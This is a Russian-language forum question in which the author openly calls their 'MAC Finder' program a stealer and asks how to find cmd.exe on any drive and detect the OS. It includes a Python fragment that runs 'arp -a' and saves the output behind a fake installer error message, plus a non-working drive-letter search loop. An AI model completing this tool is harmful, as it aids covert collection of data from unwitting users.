0
0 комментариев

Здравствуйте! Недавно (вчера), поднимал вопрос о запуске cmd.exe. Я занимаюсь спец-заказом министерства правды, и разрабатываю (фактически стилер) MAC Finder. После проблемы запуска cmd возникла следующая проблема — поиск этой самой cmd, и определение ОС компьютера.
Код стилера (фрагмент отвечающий за поиск mac через arp -a) такой:

try:
    with open(unc_cod+'mc', 'wb', 0) as file:
        subprocess.run(r'c:\windows\system32\cmd.exe /C arp -a',  stdout=file, check=True)
except:
    print('''An Error Ocured while installing: Reading from / finding cmd.exe (code 0x0001). Please contact developer to have a support. Press Enter to exit.''')
    input()

Так, как на разных компьютерах cmd.exe (и система в целом) стоит на разных дисках, то появилась необходимость поиска самого файла cmd.exe перебором английских букв, и подставлением их под путь (переменная:\Windows\System32\cmd.exe, где переменная — буква), дабы найти путь к cmd exe, и использовать его дальше (также было бы не плохо узнавать ОСь, и если это Виндовс — продолжать). Возможно интернет сейшельский, возможно не правильно искал, но находил все, кроме искомого. Опыта не имею, поэтому и прошу у вас помощь. Дополнение: От себя написал на скорую руку код (есесно он не работает), его суть в том, что он перебирает все возможные буквы, подставляет их под путь, и в случае успеха выводит успешный адрес файла:

import os
spk =['c','d','e','a','b','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
i3 = 0
for chr in range(26):
    chr = spk[i3]
    for root, dirs, files in os.walk(r''+ str(chr)+':\Windows\System32\''):
        #print(files)
        file_name = 'cmd.exe'
        for name in files:
            if name == file_name:
                print (os.path.abspath(os.path.join(root, name)))
                break


Добавить комментарий